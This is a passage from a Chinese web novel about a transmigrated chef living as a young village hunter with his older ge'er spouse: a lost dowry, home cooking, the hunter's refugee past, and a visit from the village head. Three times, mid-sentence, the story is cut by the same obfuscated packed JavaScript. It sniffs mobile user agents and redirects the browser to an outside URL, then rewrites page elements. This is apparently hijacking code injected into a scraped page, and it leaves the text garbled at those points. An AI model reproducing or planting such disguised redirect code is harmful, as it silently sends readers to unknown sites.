燕程春擦擦嘴,跑进屋去,只见小哥儿捧着一个小包袱,面色如土,委屈与气愤同时挂在脸上。 “何事啊?怎么又气成这样了?” 这小哥儿怎么不是哭就是生气,难不成上辈子是河豚转世! “我的嫁妆,我的嫁妆!足足少了一多半!”姜幸气得走来走去,心里苦不堪言。 他本就是错嫁来的,如今嫁妆还少了一多半,让他怎么在燕程春面前做人。 “你整个人都是被姜家骗来的,他们自然不会给你全部嫁妆。” 燕程春早就料到姜家的组合拳,他老神在在坐到床炕上,托着腮让姜幸检查好自己的嫁妆,“你先看看你还有多少,心里有个数。” “没多少了。”姜幸气得揉烂手里的包袱,“原本说好的金银珠宝一样都没有,只有一些料子不好的布匹与粮油,定好的压床被褥也只有一床被子和一些棉絮。他们若是克扣一些我便忍了,可这克扣的是否太多了!我的嫁妆分明是爹娘生前为我准备的!” 他爹他娘知道他不好嫁人,于是给他备足了嫁妆,还专门领他看过。 他娘揪着他的耳朵说:“你看看你看看,娘和爹给你准备了这么多好东西,你若是不嫁人,岂不是都要落灰!” 他爹也摸着胡子笑呵呵,“有这些嫁妆傍身,在咱们镇不管是谁都要哄着你。” 那时他还不以为然,做了个鬼脸便跑了,如今却连爹娘给他攒下的嫁妆都保不住,他可真没用啊! 姜幸抱着小包袱想到自己的爹娘,又想到自己草率嫁人的窘境,一时之间又悲从中来,眼泪蓄上。 燕程春看到姜幸又准备哭,登时头大,“别哭,少了就少了,日后咱们想办法让他们再吐出来就是。” 姜幸哭得打嗝,愣住了,“吐出来?” “你不会没想过报复回来吧?”燕程春仿佛在看傻子,“福源酒楼是你爹娘留给你的东西,你的嫁妆也是你爹娘留给你的,现在都被人抢走了,你不想拿回来?” “当然想!只是——”姜幸低眉,“我知道我自己几斤几两……还是个小哥儿,我能做成什么事儿啊。” 他若是真的有本事,就不会被人逼到拿婚事做逃命的踏板了。 “正所谓君子报仇十年不晚,给你十年时间,你总能报仇吧?”燕程春觉得没什么,船到桥头自然直,说不定哪天天降悍雷,就帮姜幸劈死那些仇家了呢? 只是,人生在世,他才二十五岁,后半辈子不能被仇恨裹挟。 “报仇不是重点,重点是,你现在需要自己一个人去讨生活了。你能明白我的意思吗?” 燕程春两手摊开,清亮的眼睛看着姜幸,“咱俩现在就是我的这双手,左无亲戚长辈,右无金银细软。我们现在只有彼此了,姜幸。” “郎君……”姜幸对上燕程春坚定的眼神,读懂他眼中的成熟与肯定,眸中黑瞳微微颤动。 他的小郎君自行成长十余年,才堪堪长成现在十五岁的少年模样,自己分明已经二十有五,却各方面都比不上小郎君,真是情何以堪。 十五岁的燕程春虽然穿着粗布麻衣,头发也并未用冠束起,可他坐在床炕上悠闲的姿态却有一股蓬勃的生命力,姜幸觉得,好像只要在他身边,便什么都不怕似的。 他的小郎君,比他想象的更像一个夫君,更像……一家之主。 “可我真的什么都不懂。”姜幸头低得更厉害,他也想像燕程春那样掌握自己的人生,但他前半生只知吃喝玩乐,招猫逗狗,现在嫁了人,更是没有长辈可以教导他了。 “没事,过来坐。”燕程春觉得姜幸再低下去,脖子就要断了,便邀请他坐过来。 在他的想法中,和自己的好兄弟坐一块没什么。 可姜幸突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583530|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红了脸,声音也小了许多,“郎君,天还亮着呢。” “我知道啊。”燕程春不明所以,“让你过来坐一下,免得你站久了脚腕疼。” “……”姜幸仿佛下定某种决心,坐下之后便开始拆自己的发钗与衣带,他低眉敛目道,“郎君你年纪尚小,此事太过火了有伤你的身体,待会便由我帮——” 燕程春看到姜幸脱衣服,好像火烧屁股一样,‘蹭’地跳开两米远,“你等一下!你在干什么!你不是要谋害我吧?!” 怎么好端端的开始脱衣服了?他还未成年呢! “郎君,是你让我坐过来的啊。”姜幸两道黑瞳中满是茫然,“郎君莫开玩笑了,别家夫君邀妻或夫郎同榻相坐就是……就是这个意思啊。” “……”燕程春两眼一黑,“误会,我只是担心你伤着的那个脚腕。” 姜幸握着腰带的手顿时僵硬如石,他现在真觉得自己是个笑话了。 燕程春上辈子混迹人堆十多年,一眼就能看出姜幸在想什么,这等事被拒绝,对于小哥儿来说应当挺难受的。 燕程春只能摸摸鼻子,瓮声瓮气地说:“我如今才十五岁,不能……不能那个什么,你体谅一下,并非……呃,并非你的原因,你知道就好。” 太奇怪了! 燕程春一直拿姜幸当‘同学朋友’看待,现在他却要和自己的‘同学朋友’解释床底之间的事情,这等暧昧信号让他全身起鸡皮疙瘩。 “我知晓了。”姜幸没说自己信了还是没信,他默默重新系好自己的腰带,再抬头时已经恢复如初。 燕程春这次不敢坐过去了,他径直坐到屋内的矮墩子上,手扶膝盖道:“现在的情况你我都明晰了,我呢,就是一个无父无母的穷汉子,日子就是这么过着,你虽然是错嫁来的少爷,可你身后的烂摊子比我的情况还复杂。” “聚仙镇你是不能去了,太远的地方你自己又没有独自活下去的能力,我想来想去,你也只能继续留在我这儿。” “况且你我的关系已经上了官府名帖,若是和离,于你的名声似乎也不好。此事你如何想?” “郎君,我若留在家里,你……是否会觉得嫌弃?”姜幸思索了半天,就想出这么一个问题。 “怎么会啊。你是我明媒正娶的夫郎,我们是要一块过日子的。” 燕程春拿姜幸当‘同学朋友’,是搭伙过日子的搭档,自然不会嫌弃,原主拿姜幸当自己娶的夫郎,更不会嫌弃。 这个家,自从姜幸穿着红嫁衣进门那一刻起,便有姜幸的一席之地。 “过日子……”姜幸没想到燕程春会这么直白地告诉自己:自己是他的夫郎。 小郎君年岁比他小,想的却比他踏实。 他总以为这个小郎君,并不认这桩错乱的姻缘,原来是他想差了,即便是错误的姻缘又如何?他们已经拜堂成亲,这是铁一般的事实,无法更改。 他虽年长燕程春十岁,却早已是燕程春的夫郎;燕程春纵小他十岁,也早已是他的夫君。 姜幸终于想通关窍,眼前如擦去浓雾一般清晰,从未觉得自己如此聪慧过。 既然燕程春已经接纳他,那他也得拿出当家夫郎的样子来,姜幸承诺道:“郎君放心,日后我定把家里打理的井井有条,你就放心吧!” “啊?”燕程春摸摸后脑勺,感觉姜幸好像误会了什么,但又不知道误会了哪里。 算了,想太多头疼,就这么着吧! 8. 事已至此,喝个汤吧 既然都已经翻出嫁妆了,两个人便把所有东西都拿了出来,一起计算了一下现在的家底。 燕程春手里捧着一些碎银,严肃道:“我手里这些碎银是先前打猎攒下来的,大概有十五两。足够咱们花销了。” 只是将将够日常生活罢了,若是想过些好日子,还是不行。 姜幸抱着自己的妆奁盒子,咬下唇,“郎君,姜家没有给我放多少值钱的东西,除去一些被褥和吃食,也就这个我自己从姜家带出来的妆奁盒还有些值钱物件。” 燕程春打开一看,差点被里面金灿灿的首饰晃瞎眼,他立刻盖上盒子,凝眸,“都是你爹娘留给你的吗?” “都是,从我儿时到现在,每一件都是爹娘亲手为我打造的,除了爹娘和我自己,没有第四个人知道……嗯,现在郎君也知道了。”姜幸说得坦荡,一点都不担心燕程春贼心渐起,对他杀人夺宝。 “既然是你爹娘留给你的,那你就收好,咱们还没穷到用这些的地步。”燕程春自己不愿意别人动自己姥姥姥爷的遗留物,自然也不喜欢动姜幸爹娘留下的物件,他不会没用到要夫郎变卖家传品去讨生活。 “对了。”燕程春想起一件事,“你说你那大伯是图你家的菜谱,那菜谱可是被你大伯得手了?” “看来是的。”姜幸抱着妆奁盒,神色哀伤,“爹娘的菜谱从不会瞒着家里的厨师,如今大伯拿了福源酒楼,想必已经从厨师嘴里问出菜谱了。” 燕程春想着福源酒楼的所谓新菜色,觉得应该没有这么简单,“姜夫人的菜谱是家传的,一般这样的传承都不会轻易告诉外人,福源酒楼的大师傅或许只学了一个皮毛,真正的姜家菜谱,不是在你爹娘手里,就是……” 燕程春将目光落到姜幸身上,缓缓道,“在你身上。或许,只是你不知道罢了。” 姜幸被燕程春清冷的眼神慑住,下意识抱紧了自己的妆奁盒。 燕程春对姜家的菜谱没兴趣,他自己脑子里还有个燕家菜谱呢,都是传承下来的宝贝,他不觉得自家的燕家菜谱会比不过姜幸的姜家菜谱。 他们傍晚时分回来的,这一顿折腾都耽误吃晚食了,燕程春拍拍衣袖上的土渣,“你把这里收拾一下,我去做饭。” 姜幸急忙拉住燕程春,之前就是燕程春做饭,哪家做夫郎的做成他这个模样,“郎君,怎么能让你再下灶房呢!若是让别人知道,该说我的不是了。” “那你去?”燕程春一挑眉,往后撤步,把大门让给姜幸,他要看看这位幸哥儿怎么做菜。 “我——”姜幸果然被噎住,他会做饭?他会个屁! 他当初怎么就不跟着爹娘好好学一学呢,这下真的要惹小郎君不快了。 “知道了吧,下次别逞能。”燕程春根本没生气,他本来就是个厨师,做做饭算什么辛苦。 “你之前也是逞能,拿个簪子就敢威胁我,要是我真的狠下心来,你现在已经在乱葬岗了。” “以后别做这些没把握的事儿,免得害了自己。” 燕程春一想起姜幸大婚之夜的举动就后怕,这人得多没脑子,才会拿伤害自己来威胁别人啊? 这样将自己的安危挂到‘贼人’的裤腰带上,真不怕受伤! 姜幸被留在房里,环顾了一下这件卧房,袖子一挽,打算惊艳一下他的小郎君。 燕程春去到灶房盯着一堆存货思索吃什么,虽然是晚上,可在古代这种没有电没有空调的地方,这种天也怪热的,而且蔬菜不能久放,那就多消耗消耗蔬菜吧。 时值夏日,即将立夏的时候,气温逐渐升高,燕程春穿得衣服严实,他不过站了一会,就已经有汗水顺着脖子慢慢滑落。 “得在这儿再开一个窗户。”燕程春擦掉额头上的汗,这一间小灶房还是太小了,若是有机会,他得把房子重新建构一下,至少要扩大一下灶房的面积,让这里足够通风。 燕程春翻看一番,房子外是长明村的阡陌交通和各式田地,长明村背靠一条大河流,岸边蒲柳荷花等水生植物年年茂盛,所以燕程春的菜篮子里还有蒲菜。 所谓蒲菜,其实就是草芽,就是香草的根茎位置。 恰好,他就知道一道用蒲菜为主的汤——奶汤蒲菜。 不过奶汤蒲菜的奶汤要提前吊,他没有提前做准备,香味要大打折扣了。 燕程春用热水焯过蒲菜,去掉深绿色硬皮放在一边备用,又选取一些猪骨汤粉放入熬制的汤底中,准备借用猪骨汤粉来模拟高汤的味道。 等汤熬制的时候,他又切了一些菌类和烧肉,等汤熬沸,将蒲菜和这些辅料一起放进去,再加入盐和米酒,慢慢熬煮。 煮汤的时候他顺手清理了灶台,等汤煮好,只加上一勺淡淡的香油便可。 只有一道汤显然不够两个人吃的,燕程春准备再做两个炒菜。 这个朝代已经有了大蒜,燕程春蹲在地上剥了两头蒜,摇摇胳膊,一掌下去,全都拍碎。 “我去。”燕程春诧异地看着自己的胳膊,忍不住架起胳膊,胳膊上一层肌肉煞是惹眼。 虽然他上辈子经常颠锅,但也没有练出这么流畅的肌肉,想来是原主一边打猎一边练武,才有这样的塑型。 难怪健身会上瘾,燕程春捏捏自己的胳膊,感受着身上绝对的力量,眼馋了。 以后一定要把原主的好习惯延续下去,这样他也可以成为健身男神,有一副好身材! 准备好其他调料,放到一边,燕程春又打开酱料罐,这个年代调味料不如现代丰富,可有许多许多的酱料可用,而且还有专门的区分,红肉的酱料不可白肉用,绿叶菜的酱料,肉类不可用。 至于为什么不可用,没人知道,但也没人尝试过。 燕程春觉得,再做饭的时候可以多多搭配一下,说不准就能搭配出新的味道来。 燕程春挖出两勺蔬菜酱料留作备用,然后洗干净已经有些蔫巴的绿叶菜,搭配蒜末和酱料炒出来一道清炒绿叶菜。 有一道蒜香的了,燕程春又抓了一把芥子,准备做一道辣味的。 这年头还没有辣椒,想要辣味只能用芥子或者花椒,再要不然就是姜,虽然味道也很有层次,可到底不是真正爽到头皮发麻的辣。 燕程春摇摇头,一边在锅中翻炒一边思索,长明村前靠河流,后有山,山上都是一些没人认识的植物,改明儿得上山看看,说不定就能找到可以替代辣椒的东西。 燕程春做饭多年,技术技巧早就烂熟于心,一边分神一边炒菜也能炒得火候恰到好处,绿油油的绿叶菜在铁锅中爆发出惊人的香气。 他无比感谢自己来的这个时代已经接近明清时代,可以有铁锅使用,不然他做个饭还要用青铜锅或者石板锅。 把两道菜摆盘放出来,奶汤蒲草也好了。 一掀开盖子,浓香扑鼻而来,奶白色的汤汁与清脆鲜甜的蒲菜组成了‘一清二白’的雅致。 虽然味道不能尽善尽美地还原奶汤蒲菜的美味,但如今在这个朝代,能尝到一二分也可以了。 燕程春放好所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583531|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有菜,又为主食发愁。 家里虽有面粉,可他来不及做面食了,最后只把之前的饼子又热了热,又想了想,还是加上两个油焖鸡蛋。 燕程春站到灶房门口大喊,“姜幸,过来帮我端一下。” 这么多东西,他一个人得跑不少趟。 “来嘞!”卧房里传来清脆的一声,不过一会,姜幸挽着袖子走过来,还没进门就被各种饭香勾走了心神,“好香啊。” “来来端出去,端出去就能吃了。”燕程春把菜盘子放到姜幸手上,自己提着煮汤的锅。 灶房太小,他们俩在这儿根本吃不了饭,燕程春又不喜欢在院子里吃,只能搬到卧房再吃。 两个人放好所有吃食,姜幸看着这些色泽诱人的菜色,发出惊叹,“郎君,你手艺……太好了些,比我们酒楼的大厨师还厉害呢。” “人家是大厨师,我是什么?”燕程春自嘲,“你眼中的我也太不切实际了。” 他不过是一个参加国际比赛,被评委批评地一无是处的厨师罢了。 “真的很香,比咱们在福源酒楼闻到的那六道菜还香。”姜幸大吸一口,肚子里的馋虫被勾出来,可是燕程春还未动筷子,姜幸不太好意思伸筷子。 “吃吧。”燕程春掰开饼子,夹上一个鸡蛋,递给姜幸,“不够的话灶房里还有,一定吃饱才是。” 作为一个厨师,他最怕自己的食客吃不饱。 姜幸最好能吃得摸着肚子打嗝,那样对他来说才是最好的夸奖。 姜幸握着饼子,感觉自己好像被当成小孩了,他闷闷答应,“多谢郎君。” 撕咬着饼子,姜幸想不通明明自己大燕程春十岁,却怎么也不能对燕程春产生那种长者的姿态,更过分的是,他现在好像隐隐约约正依赖着这位十五岁的小夫君。 难不成他真要做那等少夫老妻不要脸的事了吗。 燕程春刚坐下,就看到桌椅板凳都变得干净了许多,他忍不住用手一抹,惊讶道,“你收拾屋子了?” “自然。”姜幸觉得骄傲,他可不是什么都不会做的娇少爷,“郎君在灶房忙碌,我岂能闲等着。我不光擦了桌椅,我还收拾了橱柜和床铺呢。” 燕程春顺势看去,果然,比他做饭之前整洁了不少。 不是说这个小哥儿又懒又馋什么都不会么,人家这不是做的挺好? 起码比他上学时候的宿舍要干净多了! 燕程春腹诽吐槽大管家,“这大管家真是的,整天没事干,就知道埋汰人,你这分明什么都会做么。” “……”被燕程春如此直白的夸赞,姜幸手脚发烫,头也不好意思地低下去。 燕程春盛出一碗汤,就着饼子,“这汤没有时间吊,若是有时间,还能更香。” “郎君,这道菜叫什么啊。”姜幸一口气闷掉小半碗,彻底香掉舌头,“这汤的味道好鲜美,好浓郁,搭配蒲菜的清甜真是爽口,感觉都不怎么热了。” “这是奶汤蒲菜……是哪里的菜色我也不知,只是小时候跟着长辈学过一点。”燕程春给自己的手艺编了个来源,免得姜幸想不通。 “原来如此。”姜幸现在已经知道燕程春的过往,一想到燕程春五岁年纪就流离失所,跟着流民队伍奔波了不知多久,才在长明村落脚,心里就一阵阵揪得慌,“郎君,你能和我说说你儿时的事情吗?” “你想听?”燕程春突然就哽了一下,一瞬间,他竟然想说自己的故事。 可姜幸需要知道的,是原主的过往。 9. 燕程春的过往 燕程春低头自嘲,又收好表情,就着桌边噼啪作响的烛火,娓娓道来原主的过往。 “长明村在中原地区,我家原来在北方,靠近皇城根。我爹是个新兵,我娘以前也是跟着酒楼大师傅干活的,后来我们那儿开始干旱,干旱没多久,死了很多人,突然又有了反叛兵,我爹被召去填人命。” “反叛军的兵踏破城门的时候,我娘扯着我逃命,结果自己死了。我被邻居阿娘抱着混进逃命队伍,成了南下的流民。” “北方……”姜幸想着十五年前的动荡,突然想到,“北方,十五年前……郎君,你莫不是郓(yun)城人。” 他记得,如今的陛下登基不过二十年,而十五年前,正是他的亲手足发动兵变的时候。 他那时候年纪也不大,离着皇城甚远,只小小听说过,涉及之地血流成河,民不聊生,堪称大昭之殇。 “正是那个被屠城的郓城。”燕程春笑得云淡风轻,心里却好一番惊涛骇浪。 他不回忆不知道,没想到原主竟然在五年那年经历过这么惨烈的事情,事后还能安安稳稳地长大,没长歪,真是不容易。 “郎君……”姜幸心疼万分眼前这个小少年,他后悔提这件事了。 “无碍,已经过去许久了。”原主都已经放下了,燕程春只是顺从原主的想法,和自己的夫郎坦诚相待罢了。 “我跟着流民队伍走到长明村的时候,是现在的村长接待了我们。那时候他就是村长了。” “长途跋涉的劳累让很多人疲惫不堪,大家商议着,想就在长明村落户,可我们一行百十多人,要想留下,是一个很麻烦的事情。” “村长并没有答应我们,我们就一直等啊等,突然有一天,村长和村长夫人告诉我们,镇上同意了,我们只要做了登记,就可以成为长明村的一员。” “如此过去十年,我们中间通婚的通婚,远行的远行,早就和长明村融为一体,是彻彻底底的长明村人了。” 燕程春说:“其实我五岁时的记忆都记不太清了,唯独这几件事刻在心里,时不时就会想起来,折磨了我多年,近几年才渐渐好转。若我一直被噩梦缠绕,我是绝不敢娶妻的。” “想必村长和村长夫人为大家奔波了许久。”姜幸虽然住在镇子上,可对于这种民生大事一概不知,此时突然十分后悔,早知道当时就多多关心关心镇子上的大事了。 “是很困难,听说是村长和村长夫人不停走访,作保证,才叫县令大人同意,然后是省府大人同意。后来我听说因为村长和村长夫人的义举,县令大人为两位请来了恩典,村长拿了一块省府赏赐的仁义牌匾,村长夫人特赐‘孺人’称呼,协助村长管理整个长明村。村长夫人姓乔,大家便开始叫她乔孺人。” “孺人”是这个朝代对有特殊贡献,或者德高望重的女性长辈的尊称。 村长夫人姓乔,大家便叫她乔孺人。 姜幸听得入迷,“太厉害了……” 他也好想像村长和乔孺人这样,轰轰烈烈地做成一些事情啊! 燕程春看透姜幸的想法,笑着说:“咱们这辈子是做不成什么大事了,能把咱们这个小家经营好就算赢。” 姜幸听着燕程春的说法,心里温热起来。 小家。 这是他们自己的小家。 姜幸第一次萌生出想要读书,想要学习的冲劲,他想学好所有的学问,经营好他和燕程春的小家。 可他偏偏……就是什么都不会。 姜幸想到这里,耸下眉眼,有些失落。 燕程春没去安慰他,只用寻常语气道:“其实没什么大不了的,人生在世无非吃穿住行。而支撑吃穿住行的,就是银子。” “只要有足够多的银子,咱们不仅可以把房子收拾一下,盖成那种瓦房,还能把灶房扩大一倍,多放一些吃食材料。” 燕程春从记事起就跟着姥姥姥爷生活了,姥姥姥爷年纪大,许多事都让他去跑腿,他自然在这些经历中领悟到了生活的道理。 他一笔一笔和姜幸计算着,告诉他想要经营好一个家,首先要做什么其次是什么,最后是什么…… 姜幸听到他们需要好大一笔银子,泄气,“郎君,是我拖累你了。” 如果郎君没有娶他,而是娶一个身体健康,能吃苦耐劳的夫郎,现在就可以和郎君两个人一起计划着好好过日子了。 可郎君偏偏被大管家欺骗,把他娶进了门,他会什么呀! 燕程春飞快反驳道:“瞎说。” 即使燕程春这么说了,姜幸搅动手里的东西,还是没信心,“可是我帮不了你什么……” “不需要帮什么啊,我们现在又挣不了大钱。”燕程春看得很透彻,他上辈子除了做饭别的都不会,穿越重生的年纪又是十八岁,他都还没高考呢,半个文盲罢了,估计这辈子还是做做饭的命。 好在古代做饭没那么讲究,他的手艺应该不至于再被人批评地一无是处,应该勉强可以糊口。 燕程春接着说:“我想过了,既然你会吃菜,我又恰好会做点吃的,咱们可以先推个小车,在村子里卖点搭头。” 这是燕程春上辈子见过的一种模式,就是在村落里卖一些杂货和做好的现成的吃食,好方便村子里的老人也能换换口味。 按理来说,他们去镇上摆摊会更好,可碍于福源酒楼和姜家的事情,他们现在能避就避,就连回门,姜幸都省去了。 谈及回门,姜幸冷冷一哼,“去什么去,不去了,就当我死了罢!反正他们也是这么期待的!” 既然不能去镇子上,那就只能留在村子里了。 好在长明村附近还有两个大村,这三个村子的生产力和生活水平都不算太差,正适合他们做个过渡期。 “咱们不用做那些麻烦的菜式,就做一些添头,能卖多少都看运气。” “这样……可行吗?”姜幸没见过这样的摊子,一时想象不出来。 “等我再想想,不着急。”燕程春垂下眼,轻笑。 其实还有一点,燕程春没告诉姜幸——他们现在需要找一个靠山。 虽然姜家看着得到了姜家的菜谱已经消停,但按照燕程春的考量,真正的菜谱必定还在姜幸身上,日后姜家定会再来找姜幸的麻烦。 他们现在一清二白两个平民百姓,若是对上镇子上的富户香客来和后面的姜家,定是以卵击石,讨不到什么好处。 若是他们能找到一个长期合作的靠山,那便不用担心姜家的找茬。 只是靠山没那么好找,燕程春也还没想好要怎么获得对方的青睐。 他原先想过,可以让姜幸投奔之前的亲朋好友,但姜幸的顾虑也有道理。 人心难测,他们不能去挑战这种可能性。 让一个十八岁的少年想这些事情无疑是辛劳的,但燕程春甘之如饮。 他很享受这种身边有人陪伴的滋味,也很喜欢为自己亲近的人提供一些帮助。 这种照顾别人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583532|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的感觉,会让他有一种被人依靠的爽感。 原主也是如此,原主就是过腻了空寂孤独的日子,才整日整日想要成亲,好有一个自己的小家,有一个能陪着自己的人。 这点上,燕程春和原主一模一样。 因为从小就抡锅铲,到处参加比赛,燕程春其实没有多少同龄人朋友,清清寡寡十八年,没有时间和耐心去经营和朋友们同学们的友谊,所以他的成长期,总是在相逢又分别中度过。 他也曾在深夜抱着被子幻想,如果有一个人能一直陪着他,支持他就好了。 如果可以的话,如果这个人愿意的话,这个人可以和他一起到处参加比赛,他们可以每天逛商场菜市场,一起挑选食材,一起背诵菜谱…… 燕程春也可以把这些事情告诉姜幸,可换来的,必定是小哥儿惶恐的精神,和内疚的表态。 说不准小哥儿为了不连累他,就跑了。 这可不行。 燕程春上辈子的半边人生太多别离和变化,所以他很钟情‘一成不变’的任何一切。 如今,别的不说,姜幸因为客观原因,至少有很长一段时间都要留在燕程春身边,留在这座小土房子里。 燕程春只要一想到将来不管做什么,身边都有一个可以一直说话的人,他就觉得原本向他关闭的世界,终于重新对他敞开心扉。 不过这一点事实,暧昧超过姜幸解开衣//扣时的嫣红脸颊,所以他现在不会告诉姜幸。 后面姜幸又问了一些趣事,燕程春一一解答给他。 两个人一边吃一边聊天,对彼此的了解都加深不少。 因着燕程春做了饭,所以姜幸自告奋勇收拾吃完的碗筷。 还没动弹呢,门外便传来熟悉的声音。 村长和乔孺人吆喝着燕程春和姜幸的名字,“春小子,春小子!” “幸哥儿,睡下了吗?” “是村长和乔孺人。”燕程春给村长和村长夫人开门。 两位长辈一进门就被屋里还没来得及收拾的饭香吸引,“哟,好香!” “春小子,你们这是才用饭啊? 燕程春挠挠脖子,“刚刚吃完,回来后说了会话,做的有些晚了。” “幸哥儿,听说你家是在镇上开食铺的,这菜也是你做的?这手艺也忒好了!”乔孺人虽未品尝,可一看这剩下的色相和味道,便知道这桌菜差不了! “这不是……”姜幸刚想解释,燕程春压着他的手捏了捏,笑道,“正是幸哥儿做的,村长和乔孺人稍等片刻,我们这就收了。” “不妨事,不妨事,都是街坊邻居的。”村长摆摆手,乔孺人拉着幸哥儿的手说,“来,咱们一块收拾了,让他们爷俩说话去。” “哎。”姜幸听话地和乔孺人一起收拾起碗筷。 村长带着燕程春坐到另一边,开始说正事,“也没什么大事。你可还记得河那边的庄子,李员外家的。” 燕程春:“记得呢,咱们村的佃田都是李员外家的。” 村长:“李员外上头有一个老娘,马上要过六十大寿,这事儿交给了他两个孩子去办。老太太呢以前也是农家出身,脾气和蔼没话说,也没苛待过咱们村的人。所以这六十大寿,我想着咱们也去添个彩,好接着租种李员外家的田。” “不过咱们村也没什么拿得出手的东西,其他的寿礼村子里都准备了,就还剩下一点添头,这不,就想让你上山看看,看能不能带点野味下来,也能加个量。” 10.分两个被窝睡觉 “上山?”燕程春眨眨眼,想起来了,原身是猎户,而且是长明村新生代最勇敢也是最沉稳的猎户,时常会带着村子里的年轻人去山上攒经验,若是遇到野禽便带回来,还能和村里人分一分。 所以村子里的人对原主都比较欣赏,时常拿他和其他年轻汉子做比较,让其他汉子苦不堪言。 燕程春一想到可以体验古代真实版的打猎就手痒痒,可他没有打猎经验,要是露馅了该怎么办? “村长,我这刚成亲……” 燕程春故作苦恼。 “哎,大家都知晓,这次不用走远了,就去山上看看有没有新鲜的野菜野菌子就成。”燕程春算是村长看着长大的,他自然也不是那等折磨自家小孩的人。 村长又道:“而且咱们每年一次的立夏流水席也要开办了,这次轮到咱们村做主,去年上游村办的太大,被县令大人批评了一顿,这次咱们就让村子里的人做一顿家常菜就够了。” “原来我还担心村子里会做饭的人不够,现在加了一个幸哥儿,应该能忙过来了。” “方才那一桌看着很不错啊!幸哥儿的手艺不愧是镇子上的,就是好。春小子,你可有福咯!” “幸哥儿啊……”真实的大厨师燕程春后背出了一身汗,“他的手艺也就做一些家常菜,村长,让他去怕是不好吧,况且他刚嫁过来,就参与这种大事,到时候让村子里的婶婶嬢嬢怎么想。” 他可不想让姜幸刚嫁人就树敌。 “有什么不好的,既然嫁到咱们长明村,那就是长明村的人,这等全村大事不叫着他,他岂会不多想?”村长看着燕程春,一副恨铁不成钢的模样,“你一看就是年纪小,不懂事儿,外嫁夫郎到家后,这怎么让人家和自己变成一家人,这里面的学问可多着呢,春小子,慢慢学吧!” “你那些婶婶嬢嬢都多大年纪了,还能和一个小辈计较?况且她们都活了大半辈子了,还能不知道这新婚夫郎的相处之道?你可小看她们咯。” 村长摸着胡子,一副过来人的模样。 “是是……”燕程春摸摸后脑勺,觉得村长说的对,确实是他年纪太小,不了解这些事,以后还得多问问村长和乔孺人才是。 至于上山打猎…… 正好他也去山上看看有没有可以代替番椒等调味料的东西,顺便试一下原主的身手还在不在身上,免得日后还有这种需要上山打猎的情况出现。 想到这里,燕程春答应了村长。 村长不放心燕程春这半大小子,害怕他不会和家里的夫郎相处,忍不住又唠叨了两句。 燕程春倒着白水,认真听着,再不敢分心。 说了好一会,村长‘咦’了一声,“乔孺人和幸哥儿咋还没出来。” 村长夫人是有称号在身的妇人,在外面,村长一向尊称她一声‘乔孺人’,从不会怠慢了自己的发妻。 “我去叫他们。”燕程春拱手。 “哎没啥事了,我一块过去,叫着乔孺人这就回去了。”村长穿好鞋,也跟着出来。 乔孺人和姜幸其实早就洗刷好了,只是乔孺人叫住了姜幸。 乔孺人虽然一身妇人打扮,年岁颇大,妆容朴素,可那双明目里沉淀着岁月积攒下来的经验和稳重,让姜幸缩手缩脚,不敢直视。 “幸哥儿啊,你这腿脚,是咋回事啊。” 乔孺人让姜幸别怕,“婶儿就是来给你做个登记。先前春小子和我们说你是镇子上小饭摊的小哥儿,家里和你不亲,所以你才愿意远嫁到乡下来,可你刘婶婶和我说,你头上的簪子看着不便宜,而且镇子上那福源酒楼的少爷还和你同名同姓。幸哥儿,你是不是有事瞒着春小子?” “幸哥儿,婶儿没别的意思,只是你既然嫁到长明村,那就是咱们长明村的人,你还记得不,你进村时,我是第一个搭你的手,把你迎进来的。村子里的每一个新嫁娘和新嫁夫郎,都是婶儿接进来的。” “所以啊,我这个做长辈的每一个人都得问清楚,免得日后惹出别的麻烦来。若是真有什么事,咱们也好早作打算,你说是不是这个理儿。” 乔孺人拉着姜幸的手,敦敦言谈。 “乔孺人,郎君他知道的。”虽然乔孺人没有逼问的意思,可姜幸心里有愧,于是说话吞吞吐吐,不敢将真相告诉乔孺人。 “我的情况,他都知晓。” “我并未……并未欺瞒郎君。” “……日后,日后,我不会麻烦村里的。” 真的不会惹来麻烦吗? 姜幸想着福源酒楼发生的一切,突然没有底气了。 燕程春正好听到这一句,掀帘进去,笑容不减,“乔孺人,你放心吧,幸哥儿什么情况,我都知晓。” “孺人想知道,也是应该的。” 说罢,燕程春简明扼要地解释了一下姜幸的家境情况。 听完一切的乔孺人和村长皆是一副气愤模样,“天杀的。竟还有这样的恶亲,真是枉做长辈!” 乔孺人心疼地拉着姜幸看了一圈儿,“好孩子,除了腿脚,身上可还有别的地方不舒服?他们这些人心眼最坏了,可别悄悄祸害你,你还不知道。” 